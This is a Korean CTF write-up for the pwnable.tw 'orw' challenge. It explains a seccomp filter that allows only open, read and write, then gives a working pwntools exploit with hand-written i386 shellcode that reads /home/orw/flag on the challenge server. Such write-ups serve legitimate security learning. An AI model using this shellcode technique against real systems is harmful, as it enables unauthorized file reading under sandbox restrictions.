orw
Writeup
File information
Code
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
(shellcode)();
return 0;
}
orw_seccomp 함수 호출 후 read로 shellcode에 입력받고 shellcode를 실행시킨다.
orw_seccomp()
unsigned int orw_seccomp()
{
__int16 v1; // [esp+4h] [ebp-84h]char *v2; // [esp+8h] [ebp-80h]char v3; // [esp+Ch] [ebp-7Ch]unsigned int v4; // [esp+6Ch] [ebp-1Ch]
v4 = __readgsdword(0x14u);
qmemcpy(&v3, &unk_8048640, 0x60u);
v1 = 12;
v2 = &v3;
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1);
return __readgsdword(0x14u) ^ v4;
}
orw_seccomp 함수에서는 prctl을 호출하여 시스템 호출을 제한다. 그러니 문제 나와있는 거처럼 open,read,write 을 이용하면 된다.
from pwn import *
context.log_level = 'debug'#/home/orw/flag
sc2 = ('''
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 0x6761
push 0x6C662F77
push 0x726F2F65
push 0x6D6F682f
mov al, 0x05
mov ebx, esp
int 0x80
xchg eax, ebx
xor eax, eax
mov ecx, esp
mov al, 0x03
mov dl, 0x40
int 0x80
xchg eax, edx
xor eax, eax
xor ebx, ebx
mov bl, 0x01
mov al, 0x4
int 0x80
''')
shellcode2 = asm(sc2, os='linux', arch='i386')
#p=process("./orw")
p=remote("chall.pwnable.tw", 10001)
p.recvuntil("shellcode:")
p.sendline(shellcode2)
p.interactive()
shellcraft 사용하면 더 쉽게 풀 수 있다…
'Pwnable > pwnable.tw' 카테고리의 다른 글
hacknote (0) | 2020.03.14 |
---|---|
pwnable.tw start (0) | 2019.09.05 |